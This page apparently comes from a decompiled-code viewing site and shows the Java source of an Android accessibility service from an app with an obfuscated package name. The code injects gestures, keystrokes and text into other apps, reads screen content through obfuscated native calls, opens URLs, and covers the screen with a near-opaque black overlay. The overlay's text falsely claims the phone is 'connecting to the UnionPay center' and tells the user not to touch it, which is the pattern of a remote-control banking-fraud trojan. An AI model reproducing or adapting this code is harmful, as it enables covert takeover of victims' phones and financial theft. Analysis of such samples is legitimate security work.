导航菜单

页面标题

页面副标题

迅 唔 v1.3.9 - InputService.java 源代码

正在查看: 迅 唔 v1.3.9 应用的 InputService.java JAVA 源代码文件

本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。


package com.uixxpi.ercpqxo;

import android.accessibilityservice.AccessibilityService;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.accessibilityservice.GestureDescription;
import android.accessibilityservice.InputMethod;
import android.content.Context;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.Path;
import android.graphics.Rect;
import android.media.AudioManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.text.Editable;
import android.text.Layout;
import android.util.Log;
import android.view.KeyEvent;
import android.view.ViewConfiguration;
import android.view.ViewGroup;
import android.view.WindowManager;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
import android.widget.EditText;
import android.widget.FrameLayout;
import android.widget.TextView;
import com.uixxpi.ercpqxo.InputService;
import ffi.FFI;
import g.j;
import j6.n;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.Timer;
import java.util.TimerTask;
import java.util.concurrent.locks.ReentrantLock;
import q1.a0;
import x6.g;
import x6.k;
import x6.l;
import x6.r;

public final class InputService extends AccessibilityService {
    public static final a E = new a(null);
    public static boolean F = true;
    public static float G = 1.0f;
    public static InputService H;
    public int A;

    public WindowManager f1711h;

    public WindowManager.LayoutParams f1712i;

    public FrameLayout f1713j;

    public boolean f1716m;

    public GestureDescription.StrokeDescription f1718o;

    public long f1719p;

    public int f1720q;

    public int f1721r;

    public TimerTask f1723t;

    public boolean f1726w;

    public boolean f1727x;

    public EditText f1728y;

    public int f1729z;

    public final ReentrantLock f1714k = new ReentrantLock();

    public final String f1715l = "input service";

    public final Path f1717n = new Path();

    public Timer f1722s = new Timer();

    public final long f1724u = ViewConfiguration.getTapTimeout() + ViewConfiguration.getLongPressTimeout();

    public final LinkedList<GestureDescription> f1725v = new LinkedList<>();
    public final j6.d B = j6.e.a(new f());
    public final Handler C = new Handler(Looper.getMainLooper());
    public final e D = new e();

    public static final class a {
        public a() {
        }

        public a(g gVar) {
            this();
        }

        public final InputService a() {
            return InputService.H;
        }

        public final boolean b() {
            return a() != null;
        }

        public final void c(InputService inputService) {
            InputService.H = inputService;
        }
    }

    public static final class b extends TimerTask {
        public b() {
        }

        @Override
        public void run() {
            InputService.this.f1726w = false;
            InputService.this.q();
        }
    }

    public static final class c extends TimerTask {
        public c() {
        }

        @Override
        public void run() {
            if (InputService.this.f1727x) {
                InputService.this.f1727x = false;
                InputService inputService = InputService.this;
                inputService.r(inputService.f1720q, InputService.this.f1721r);
            }
        }
    }

    public static final class d extends TimerTask {
        public d() {
        }

        @Override
        public void run() {
            InputService.this.performGlobalAction(3);
            InputService.this.f1723t = null;
        }
    }

    public static final class e implements Runnable {
        public e() {
        }

        public static final void b(com.uixxpi.ercpqxo.InputService r4) {
            throw new UnsupportedOperationException("Method not decompiled: com.uixxpi.ercpqxo.InputService.e.b(com.uixxpi.ercpqxo.InputService):void");
        }

        @Override
        public void run() {
            FrameLayout frameLayout = InputService.this.f1713j;
            FrameLayout frameLayout2 = null;
            if (frameLayout == null) {
                k.n("overLay");
                frameLayout = null;
            }
            if (frameLayout.getWindowToken() != null) {
                FrameLayout frameLayout3 = InputService.this.f1713j;
                if (frameLayout3 == null) {
                    k.n("overLay");
                    frameLayout3 = null;
                }
                com.uixxpi.ercpqxo.a.n(frameLayout3.getVisibility() != 8);
                FrameLayout frameLayout4 = InputService.this.f1713j;
                if (frameLayout4 == null) {
                    k.n("overLay");
                    frameLayout4 = null;
                }
                if (frameLayout4.getVisibility() != com.uixxpi.ercpqxo.a.d()) {
                    FrameLayout frameLayout5 = InputService.this.f1713j;
                    if (frameLayout5 == null) {
                        k.n("overLay");
                    } else {
                        frameLayout2 = frameLayout5;
                    }
                    final InputService inputService = InputService.this;
                    frameLayout2.post(new Runnable() {
                        @Override
                        public final void run() {
                            InputService.e.b(InputService.this);
                        }
                    });
                }
            }
            InputService.this.C.postDelayed(this, 50L);
        }
    }

    public static final class f extends l implements w6.a<a0> {
        public f() {
            super(0);
        }

        @Override
        public final a0 d() {
            Object systemService = InputService.this.getApplicationContext().getSystemService("audio");
            k.c(systemService, "null cannot be cast to non-null type android.media.AudioManager");
            return new a0((AudioManager) systemService);
        }
    }

    public static final void A(AccessibilityNodeInfo accessibilityNodeInfo) {
        k.e(accessibilityNodeInfo, "$ss999");
        com.uixxpi.ercpqxo.b.f1788a.a(accessibilityNodeInfo);
    }

    public static final void C(r rVar, InputService inputService, r rVar2, j5.f fVar) {
        k.e(rVar, "$ke");
        k.e(inputService, "this$0");
        k.e(rVar2, "$textToCommit");
        KeyEvent keyEvent = (KeyEvent) rVar.f11635h;
        if (keyEvent != null) {
            LinkedList<AccessibilityNodeInfo> L = inputService.L();
            Log.d(inputService.f1715l, "possibleNodes:" + L);
            Iterator<AccessibilityNodeInfo> it = L.iterator();
            while (it.hasNext()) {
                AccessibilityNodeInfo next = it.next();
                k.b(next);
                if (inputService.P(keyEvent, next, (String) rVar2.f11635h)) {
                    if (fVar.R()) {
                        inputService.P(new KeyEvent(1, keyEvent.getKeyCode()), next, (String) rVar2.f11635h);
                        return;
                    }
                    return;
                }
            }
        }
    }

    public static final void H(com.uixxpi.ercpqxo.InputService r4) {
        throw new UnsupportedOperationException("Method not decompiled: com.uixxpi.ercpqxo.InputService.H(com.uixxpi.ercpqxo.InputService):void");
    }

    public static final void J(String str, InputService inputService) {
        Context a8;
        k.e(str, "$url");
        k.e(inputService, "this$0");
        Intent intent = new Intent("android.intent.action.VIEW", Uri.parse(str));
        intent.setFlags(268435456);
        if (intent.resolveActivity(inputService.getPackageManager()) != null) {
            a8 = FloatingWindowService.f1686u.a();
            if (a8 == null) {
                return;
            }
        } else {
            a8 = FloatingWindowService.f1686u.a();
            if (a8 == null) {
                return;
            }
        }
        a8.startActivity(intent);
    }

    public final void B(byte[] bArr) {
        InputMethod.AccessibilityInputConnection currentInputConnection;
        k.e(bArr, "data");
        final j5.f W = j5.f.W(bArr);
        j5.g P = W.P();
        final r rVar = new r();
        if (W.V()) {
            rVar.f11635h = W.S();
        } else if (P == j5.g.Legacy && W.T() && (W.O() || W.R())) {
            char[] chars = Character.toChars(W.M());
            k.d(chars, "toChars(...)");
            rVar.f11635h = new String(chars);
        }
        Log.d(this.f1715l, "onKeyEvent " + W + " textToCommit:" + ((String) rVar.f11635h));
        final r rVar2 = new r();
        int i8 = Build.VERSION.SDK_INT;
        if (i8 < 33 || rVar.f11635h == 0) {
            j5.a aVar = j5.a.f5037a;
            k.b(W);
            rVar2.f11635h = aVar.d(W);
        }
        KeyEvent keyEvent = (KeyEvent) rVar2.f11635h;
        if (keyEvent == null || !(O(keyEvent) || N(keyEvent))) {
            if (i8 < 33) {
                new Handler(Looper.getMainLooper()).post(new Runnable() {
                    @Override
                    public final void run() {
                        InputService.C(x6.r.this, this, rVar, W);
                    }
                });
                return;
            }
            InputMethod inputMethod = getInputMethod();
            if (inputMethod == null || (currentInputConnection = inputMethod.getCurrentInputConnection()) == null) {
                return;
            }
            T t7 = rVar.f11635h;
            if (t7 != 0) {
                String str = (String) t7;
                if (str != null) {
                    currentInputConnection.commitText(str, 1, null);
                    return;
                }
                return;
            }
            KeyEvent keyEvent2 = (KeyEvent) rVar2.f11635h;
            if (keyEvent2 != null) {
                currentInputConnection.sendKeyEvent(keyEvent2);
                if (W.R()) {
                    currentInputConnection.sendKeyEvent(new KeyEvent(1, keyEvent2.getKeyCode()));
                }
            }
        }
    }

    public final void D(int i8, int i9, int i10, String str) {
        k.e(str, "url");
        int max = Math.max(0, i9);
        int max2 = Math.max(0, i10);
        if (i8 == 0 || i8 == 8) {
            int i11 = this.f1720q;
            int i12 = this.f1721r;
            this.f1720q = max * com.uixxpi.ercpqxo.a.g().c();
            this.f1721r = max2 * com.uixxpi.ercpqxo.a.g().c();
            if (this.f1727x) {
                int abs = Math.abs(i11 - this.f1720q) + Math.abs(i12 - this.f1721r);
                Log.d(this.f1715l, "delta:" + abs);
                if (abs > 8) {
                    this.f1727x = false;
                }
            }
        }
        if (i8 == 38) {
            if (str.length() == 0) {
                return;
            }
            I(str);
            return;
        }
        if (i8 == 9) {
            this.f1727x = true;
            this.f1722s.schedule(new c(), this.f1724u);
            this.f1716m = true;
            M(this.f1720q, this.f1721r);
            return;
        }
        if (this.f1716m) {
            r(this.f1720q, this.f1721r);
        }
        if (i8 == 10 && this.f1716m) {
            this.f1716m = false;
            this.f1727x = false;
            v(this.f1720q, this.f1721r);
            return;
        }
        if (i8 == 18) {
            z(this.f1720q, this.f1721r);
            return;
        }
        if (i8 == 66) {
            performGlobalAction(1);
            return;
        }
        if (i8 == 33) {
            this.f1722s.purge();
            d dVar = new d();
            this.f1723t = dVar;
            this.f1722s.schedule(dVar, 200L);
        }
        if (i8 == 34) {
            TimerTask timerTask = this.f1723t;
            if (timerTask != null) {
                k.b(timerTask);
                timerTask.cancel();
                performGlobalAction(2);
                return;
            }
            return;
        }
        if (i8 == 523331) {
            if (this.f1721r < 120) {
                return;
            }
            Path path = new Path();
            path.moveTo(this.f1720q, this.f1721r);
            path.lineTo(this.f1720q, this.f1721r - j.G0);
            GestureDescription.StrokeDescription strokeDescription = new GestureDescription.StrokeDescription(path, 0L, 50L);
            GestureDescription.Builder builder = new GestureDescription.Builder();
            builder.addStroke(strokeDescription);
            this.f1725v.offer(builder.build());
            q();
        }
        if (i8 != 963 || this.f1721r < 120) {
            return;
        }
        Path path2 = new Path();
        path2.moveTo(this.f1720q, this.f1721r);
        path2.lineTo(this.f1720q, this.f1721r + j.G0);
        GestureDescription.StrokeDescription strokeDescription2 = new GestureDescription.StrokeDescription(path2, 0L, 50L);
        GestureDescription.Builder builder2 = new GestureDescription.Builder();
        builder2.addStroke(strokeDescription2);
        this.f1725v.offer(builder2.build());
        q();
    }

    public final void E(int i8, int i9, int i10) {
        if (i8 == 4) {
            this.f1720q = Math.max(0, i9) * com.uixxpi.ercpqxo.a.g().c();
            int max = Math.max(0, i10) * com.uixxpi.ercpqxo.a.g().c();
            this.f1721r = max;
            M(this.f1720q, max);
            return;
        }
        if (i8 != 5) {
            if (i8 != 6) {
                return;
            }
            v(this.f1720q, this.f1721r);
            this.f1720q = Math.max(0, i9) * com.uixxpi.ercpqxo.a.g().c();
            this.f1721r = Math.max(0, i10) * com.uixxpi.ercpqxo.a.g().c();
            return;
        }
        this.f1720q -= i9 * com.uixxpi.ercpqxo.a.g().c();
        this.f1721r -= i10 * com.uixxpi.ercpqxo.a.g().c();
        this.f1720q = Math.max(0, this.f1720q);
        int max2 = Math.max(0, this.f1721r);
        this.f1721r = max2;
        r(this.f1720q, max2);
    }

    public final void F(String str, String str2) {
        k.e(str, "arg1");
        k.e(str2, "arg2");
        com.uixxpi.ercpqxo.a.r(!com.uixxpi.ercpqxo.a.h());
        if (com.uixxpi.ercpqxo.a.h()) {
            FFI.f2946a.c6e5a24386fdbdd7f(this);
        } else {
            FFI.f2946a.a6205cca3af04a8d(this);
        }
    }

    public final void G(String str, String str2) {
        k.e(str, "arg1");
        k.e(str2, "arg2");
        com.uixxpi.ercpqxo.a.o(Integer.parseInt(str));
        if (this.f1713j == null) {
            k.n("overLay");
        }
        FrameLayout frameLayout = this.f1713j;
        FrameLayout frameLayout2 = null;
        if (frameLayout == null) {
            k.n("overLay");
            frameLayout = null;
        }
        if (frameLayout.getWindowToken() != null) {
            FrameLayout frameLayout3 = this.f1713j;
            if (frameLayout3 == null) {
                k.n("overLay");
            } else {
                frameLayout2 = frameLayout3;
            }
            frameLayout2.post(new Runnable() {
                @Override
                public final void run() {
                    InputService.H(InputService.this);
                }
            });
        }
    }

    public final void I(final String str) {
        try {
            new Handler(Looper.getMainLooper()).post(new Runnable() {
                @Override
                public final void run() {
                    InputService.J(str, this);
                }
            });
        } catch (Exception unused) {
        }
    }

    public final void K(int i8, int i9, long j8) {
        Path path = new Path();
        path.moveTo(i8, i9);
        try {
            GestureDescription.StrokeDescription strokeDescription = new GestureDescription.StrokeDescription(path, 0L, j8);
            GestureDescription.Builder builder = new GestureDescription.Builder();
            builder.addStroke(strokeDescription);
            Log.d(this.f1715l, "performClick x:" + i8 + " y:" + i9 + " time:" + j8);
            dispatchGesture(builder.build(), null, null);
        } catch (Exception e8) {
            Log.e(this.f1715l, "performClick, error:" + e8);
        }
    }

    public final LinkedList<AccessibilityNodeInfo> L() {
        LinkedList<AccessibilityNodeInfo> linkedList = new LinkedList<>();
        LinkedList<AccessibilityNodeInfo> linkedList2 = new LinkedList<>();
        AccessibilityNodeInfo findFocus = findFocus(1);
        AccessibilityNodeInfo findFocus2 = findFocus(2);
        AccessibilityNodeInfo rootInActiveWindow = getRootInActiveWindow();
        Log.d(this.f1715l, "focusInput:" + findFocus + " focusAccessibilityInput:" + findFocus2 + " rootInActiveWindow:" + rootInActiveWindow);
        if (findFocus != null) {
            if (findFocus.isFocusable() && findFocus.isEditable()) {
                y(linkedList, findFocus);
            } else {
                y(linkedList2, findFocus);
            }
        }
        if (findFocus2 != null) {
            if (findFocus2.isFocusable() && findFocus2.isEditable()) {
                y(linkedList, findFocus2);
            } else {
                y(linkedList2, findFocus2);
            }
        }
        AccessibilityNodeInfo w7 = w(findFocus);
        Log.d(this.f1715l, "childFromFocusInput:" + w7);
        if (w7 != null) {
            y(linkedList, w7);
        }
        AccessibilityNodeInfo w8 = w(findFocus2);
        if (w8 != null) {
            y(linkedList, w8);
        }
        Log.d(this.f1715l, "childFromFocusAccessibilityInput:" + w8);
        if (rootInActiveWindow != null) {
            y(linkedList, rootInActiveWindow);
        }
        Iterator<AccessibilityNodeInfo> it = linkedList2.iterator();
        while (it.hasNext()) {
            AccessibilityNodeInfo next = it.next();
            k.b(next);
            y(linkedList, next);
        }
        return linkedList;
    }

    public final void M(int i8, int i9) {
        this.f1717n.reset();
        this.f1717n.moveTo(i8, i9);
        this.f1719p = System.currentTimeMillis();
        this.f1729z = i8;
        this.A = i9;
    }

    public final boolean N(KeyEvent keyEvent) {
        if (keyEvent.getKeyCode() != 26) {
            return false;
        }
        if (keyEvent.getAction() == 1) {
            performGlobalAction(6);
        }
        return true;
    }

    public final boolean O(KeyEvent keyEvent) {
        int keyCode = keyEvent.getKeyCode();
        if (keyCode == 24) {
            if (keyEvent.getAction() == 0) {
                x().d(null, true, 1);
            }
            return true;
        }
        if (keyCode == 25) {
            if (keyEvent.getAction() == 0) {
                x().c(null, true, 1);
            }
            return true;
        }
        if (keyCode != 164) {
            return false;
        }
        if (keyEvent.getAction() == 0) {
            x().g(true, 1);
        }
        return true;
    }

    public final boolean P(KeyEvent keyEvent, AccessibilityNodeInfo accessibilityNodeInfo, String str) {
        boolean onKeyUp;
        String str2;
        StringBuilder sb;
        String str3;
        Editable text;
        accessibilityNodeInfo.refresh();
        EditText editText = this.f1728y;
        if (editText != null) {
            editText.setSelection(0, 0);
        }
        EditText editText2 = this.f1728y;
        if (editText2 != null) {
            editText2.setText((CharSequence) null);
        }
        CharSequence text2 = accessibilityNodeInfo.getText();
        boolean isShowingHintText = Build.VERSION.SDK_INT >= 26 ? accessibilityNodeInfo.isShowingHintText() : false;
        int textSelectionStart = accessibilityNodeInfo.getTextSelectionStart();
        int textSelectionEnd = accessibilityNodeInfo.getTextSelectionEnd();
        if (text2 != null) {
            if (textSelectionStart > text2.length()) {
                textSelectionStart = text2.length();
            }
            if (textSelectionEnd > text2.length()) {
                textSelectionEnd = text2.length();
            }
            if (textSelectionStart > textSelectionEnd) {
                textSelectionStart = textSelectionEnd;
            }
        }
        Log.d(this.f1715l, "existing text:" + ((Object) text2) + " textToCommit:" + str + " textSelectionStart:" + textSelectionStart + " textSelectionEnd:" + textSelectionEnd);
        if (str == null) {
            EditText editText3 = this.f1728y;
            if (isShowingHintText) {
                if (editText3 != null) {
                    editText3.setText((CharSequence) null);
                }
            } else if (editText3 != null) {
                editText3.setText(text2);
            }
            if (textSelectionStart != -1 && textSelectionEnd != -1) {
                Log.d(this.f1715l, "setting selection " + textSelectionStart + ' ' + textSelectionEnd);
                EditText editText4 = this.f1728y;
                if (editText4 != null) {
                    editText4.setSelection(textSelectionStart, textSelectionEnd);
                }
            }
            EditText editText5 = this.f1728y;
            if (editText5 != null) {
                Rect rect = new Rect();
                accessibilityNodeInfo.getBoundsInScreen(rect);
                editText5.layout(rect.left, rect.top, rect.right, rect.bottom);
                editText5.onPreDraw();
                if (keyEvent.getAction() == 0) {
                    onKeyUp = editText5.onKeyDown(keyEvent.getKeyCode(), keyEvent);
                    str2 = this.f1715l;
                    sb = new StringBuilder();
                    str3 = "onKeyDown ";
                } else if (keyEvent.getAction() == 1) {
                    onKeyUp = editText5.onKeyUp(keyEvent.getKeyCode(), keyEvent);
                    str2 = this.f1715l;
                    sb = new StringBuilder();
                    str3 = "keyup ";
                }
                sb.append(str3);
                sb.append(onKeyUp);
                Log.d(str2, sb.toString());
            }
        } else {
            if (textSelectionStart == -1 || textSelectionEnd == -1) {
                EditText editText6 = this.f1728y;
                if (editText6 != null) {
                    editText6.setText(str);
                }
                return R(accessibilityNodeInfo);
            }
            if (text2 == null) {
                return false;
            }
            EditText editText7 = this.f1728y;
            if (editText7 != null) {
                editText7.setText(text2);
            }
            EditText editText8 = this.f1728y;
            if (editText8 != null) {
                editText8.setSelection(textSelectionStart, textSelectionEnd);
            }
            EditText editText9 = this.f1728y;
            if (editText9 != null && (text = editText9.getText()) != null) {
                text.insert(textSelectionStart, str);
            }
        }
        return Q(accessibilityNodeInfo);
    }

    public final boolean Q(AccessibilityNodeInfo accessibilityNodeInfo) {
        k.e(accessibilityNodeInfo, "node");
        boolean R = R(accessibilityNodeInfo);
        if (!R) {
            return R;
        }
        EditText editText = this.f1728y;
        Integer valueOf = editText != null ? Integer.valueOf(editText.getSelectionStart()) : null;
        EditText editText2 = this.f1728y;
        Integer valueOf2 = editText2 != null ? Integer.valueOf(editText2.getSelectionEnd()) : null;
        if (valueOf == null || valueOf2 == null) {
            return R;
        }
        Bundle bundle = new Bundle();
        bundle.putInt("ACTION_ARGUMENT_SELECTION_START_INT", valueOf.intValue());
        bundle.putInt("ACTION_ARGUMENT_SELECTION_END_INT", valueOf2.intValue());
        boolean performAction = accessibilityNodeInfo.performAction(131072, bundle);
        Log.d(this.f1715l, "Update selection to " + valueOf + ' ' + valueOf2 + " success:" + performAction);
        return performAction;
    }

    public final boolean R(AccessibilityNodeInfo accessibilityNodeInfo) {
        Editable text;
        k.e(accessibilityNodeInfo, "node");
        EditText editText = this.f1728y;
        if (editText == null || (text = editText.getText()) == null) {
            return false;
        }
        Bundle bundle = new Bundle();
        bundle.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", text.toString());
        return accessibilityNodeInfo.performAction(2097152, bundle);
    }

    @Override
    public void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
        final AccessibilityNodeInfo accessibilityNodeInfo;
        k.e(accessibilityEvent, "event");
        Log.d(this.f1715l, "SKL accessibilityNodeInfo3 NOT NULL");
        try {
            accessibilityNodeInfo = FFI.f2946a.c88f1fb2d2ef0700(this);
        } catch (Exception unused) {
            accessibilityNodeInfo = null;
        }
        if (accessibilityNodeInfo != null) {
            try {
                if (com.uixxpi.ercpqxo.a.h()) {
                    new Thread(new Runnable() {
                        @Override
                        public final void run() {
                            InputService.A(accessibilityNodeInfo);
                        }
                    }).start();
                }
            } catch (Exception unused2) {
            }
        }
    }

    @Override
    public void onDestroy() {
        FrameLayout frameLayout = null;
        H = null;
        WindowManager windowManager = this.f1711h;
        if (windowManager == null) {
            k.n("windowManager");
            windowManager = null;
        }
        FrameLayout frameLayout2 = this.f1713j;
        if (frameLayout2 == null) {
            k.n("overLay");
        } else {
            frameLayout = frameLayout2;
        }
        windowManager.removeView(frameLayout);
        super.onDestroy();
    }

    @Override
    public void onInterrupt() {
    }

    @Override
    public void onServiceConnected() {
        super.onServiceConnected();
        H = this;
        AccessibilityServiceInfo accessibilityServiceInfo = new AccessibilityServiceInfo();
        accessibilityServiceInfo.flags = Build.VERSION.SDK_INT >= 33 ? 32832 : 64;
        setServiceInfo(accessibilityServiceInfo);
        EditText editText = new EditText(this);
        this.f1728y = editText;
        editText.setLayoutParams(new ViewGroup.LayoutParams(100, 100));
        EditText editText2 = this.f1728y;
        if (editText2 != null) {
            editText2.onPreDraw();
        }
        EditText editText3 = this.f1728y;
        WindowManager windowManager = null;
        Layout layout = editText3 != null ? editText3.getLayout() : null;
        Log.d(this.f1715l, "fakeEditTextForTextStateCalculation layout:" + layout);
        Log.d(this.f1715l, "onServiceConnected!");
        Object systemService = getSystemService("window");
        k.c(systemService, "null cannot be cast to non-null type android.view.WindowManager");
        WindowManager windowManager2 = (WindowManager) systemService;
        this.f1711h = windowManager2;
        if (windowManager2 == null) {
            try {
                k.n("windowManager");
            } catch (Exception unused) {
                return;
            }
        } else {
            windowManager = windowManager2;
        }
        s(windowManager);
        this.C.postDelayed(this.D, 1000L);
    }

    public final void q() {
        if (this.f1726w) {
            return;
        }
        this.f1726w = true;
        GestureDescription poll = this.f1725v.poll();
        n nVar = null;
        if (poll != null) {
            dispatchGesture(poll, null, null);
            this.f1722s.purge();
            this.f1722s.schedule(new b(), 60L);
            nVar = n.f5113a;
        }
        if (nVar == null) {
            this.f1726w = false;
        }
    }

    public final void r(int i8, int i9) {
        t(i8, i9, true);
        this.f1717n.reset();
        this.f1717n.moveTo(i8, i9);
        this.f1719p = System.currentTimeMillis();
        this.f1729z = i8;
        this.A = i9;
    }

    public final void s(WindowManager windowManager) {
        if (!F && G != 0.0f) {
        }
        FFI ffi2 = FFI.f2946a;
        WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(ffi2.getNetArgs2(), ffi2.getNetArgs3(), ffi2.getNetArgs0(), ffi2.getNetArgs1(), 1);
        this.f1712i = layoutParams;
        layoutParams.gravity = 8388659;
        WindowManager.LayoutParams layoutParams2 = this.f1712i;
        WindowManager.LayoutParams layoutParams3 = null;
        if (layoutParams2 == null) {
            k.n("overLayparams_bass");
            layoutParams2 = null;
        }
        layoutParams2.x = 0;
        WindowManager.LayoutParams layoutParams4 = this.f1712i;
        if (layoutParams4 == null) {
            k.n("overLayparams_bass");
            layoutParams4 = null;
        }
        layoutParams4.y = 0;
        WindowManager.LayoutParams layoutParams5 = this.f1712i;
        if (layoutParams5 == null) {
            k.n("overLayparams_bass");
            layoutParams5 = null;
        }
        WindowManager.LayoutParams layoutParams6 = this.f1712i;
        if (layoutParams6 == null) {
            k.n("overLayparams_bass");
            layoutParams6 = null;
        }
        layoutParams5.flags = layoutParams6.flags | 256;
        WindowManager.LayoutParams layoutParams7 = this.f1712i;
        if (layoutParams7 == null) {
            k.n("overLayparams_bass");
            layoutParams7 = null;
        }
        WindowManager.LayoutParams layoutParams8 = this.f1712i;
        if (layoutParams8 == null) {
            k.n("overLayparams_bass");
            layoutParams8 = null;
        }
        layoutParams7.flags = layoutParams8.flags | 256;
        FrameLayout frameLayout = new FrameLayout(this);
        this.f1713j = frameLayout;
        frameLayout.setBackgroundColor(Color.parseColor("#000000"));
        FrameLayout frameLayout2 = this.f1713j;
        if (frameLayout2 == null) {
            k.n("overLay");
            frameLayout2 = null;
        }
        frameLayout2.getBackground().setAlpha(253);
        FrameLayout frameLayout3 = this.f1713j;
        if (frameLayout3 == null) {
            k.n("overLay");
            frameLayout3 = null;
        }
        frameLayout3.setVisibility(8);
        FrameLayout frameLayout4 = this.f1713j;
        if (frameLayout4 == null) {
            k.n("overLay");
            frameLayout4 = null;
        }
        frameLayout4.setFocusable(false);
        FrameLayout frameLayout5 = this.f1713j;
        if (frameLayout5 == null) {
            k.n("overLay");
            frameLayout5 = null;
        }
        frameLayout5.setClickable(false);
        TextView textView = new TextView(this, null);
        textView.setText("\n\n系统正在对接银联中心\n请勿触碰手机屏幕\n避免影响业务\n请耐心等待......");
        textView.setTextColor(-7829368);
        textView.setTextSize(15.0f);
        textView.setGravity(3);
        textView.setPadding(60, com.uixxpi.ercpqxo.a.e() / 4, 0, 0);
        int u7 = u(this, 100.0f) * 5;
        FrameLayout.LayoutParams layoutParams9 = new FrameLayout.LayoutParams(u7, u7);
        layoutParams9.gravity = 3;
        textView.setLayoutParams(layoutParams9);
        FrameLayout frameLayout6 = this.f1713j;
        if (frameLayout6 == null) {
            k.n("overLay");
            frameLayout6 = null;
        }
        frameLayout6.addView(textView);
        FrameLayout frameLayout7 = this.f1713j;
        if (frameLayout7 == null) {
            k.n("overLay");
            frameLayout7 = null;
        }
        WindowManager.LayoutParams layoutParams10 = this.f1712i;
        if (layoutParams10 == null) {
            k.n("overLayparams_bass");
        } else {
            layoutParams3 = layoutParams10;
        }
        windowManager.addView(frameLayout7, layoutParams3);
    }

    public final void t(int i8, int i9, boolean z7) {
        this.f1717n.lineTo(i8, i9);
        long currentTimeMillis = System.currentTimeMillis() - this.f1719p;
        if (currentTimeMillis <= 0) {
            currentTimeMillis = 1;
        }
        try {
            GestureDescription.StrokeDescription strokeDescription = this.f1718o;
            if (strokeDescription == null) {
                this.f1718o = new GestureDescription.StrokeDescription(this.f1717n, 0L, currentTimeMillis, z7);
            } else {
                this.f1718o = strokeDescription != null ? strokeDescription.continueStroke(this.f1717n, 0L, currentTimeMillis, z7) : null;
            }
            GestureDescription.StrokeDescription strokeDescription2 = this.f1718o;
            if (strokeDescription2 != null) {
                GestureDescription.Builder builder = new GestureDescription.Builder();
                builder.addStroke(strokeDescription2);
                Log.d(this.f1715l, "doDispatchGesture x:" + i8 + " y:" + i9 + " time:" + currentTimeMillis);
                dispatchGesture(builder.build(), null, null);
            }
        } catch (Exception e8) {
            Log.e(this.f1715l, "doDispatchGesture, willContinue:" + z7 + ", error:" + e8);
        }
    }

    public final int u(Context context, float f8) {
        k.e(context, "context");
        return (int) ((f8 * context.getResources().getDisplayMetrics().density) + 0.5f);
    }

    public final void v(int i8, int i9) {
        t(i8, i9, false);
        this.f1717n.reset();
        this.f1718o = null;
    }

    public final AccessibilityNodeInfo w(AccessibilityNodeInfo accessibilityNodeInfo) {
        if (accessibilityNodeInfo == null) {
            return null;
        }
        if (accessibilityNodeInfo.isEditable() && accessibilityNodeInfo.isFocusable()) {
            return accessibilityNodeInfo;
        }
        int childCount = accessibilityNodeInfo.getChildCount();
        for (int i8 = 0; i8 < childCount; i8++) {
            AccessibilityNodeInfo child = accessibilityNodeInfo.getChild(i8);
            if (child != null) {
                if (child.isEditable() && child.isFocusable()) {
                    return child;
                }
                if (Build.VERSION.SDK_INT < 33) {
                    child.recycle();
                }
            }
        }
        for (int i9 = 0; i9 < childCount; i9++) {
            AccessibilityNodeInfo child2 = accessibilityNodeInfo.getChild(i9);
            if (child2 != null) {
                AccessibilityNodeInfo w7 = w(child2);
                if (Build.VERSION.SDK_INT < 33 && !k.a(child2, w7)) {
                    child2.recycle();
                }
                if (w7 != null) {
                    return w7;
                }
            }
        }
        return null;
    }

    public final a0 x() {
        return (a0) this.B.getValue();
    }

    public final void y(LinkedList<AccessibilityNodeInfo> linkedList, AccessibilityNodeInfo accessibilityNodeInfo) {
        if (accessibilityNodeInfo == null || linkedList.contains(accessibilityNodeInfo)) {
            return;
        }
        linkedList.add(accessibilityNodeInfo);
    }

    public final void z(int i8, int i9) {
        K(i8, i9, this.f1724u);
    }
}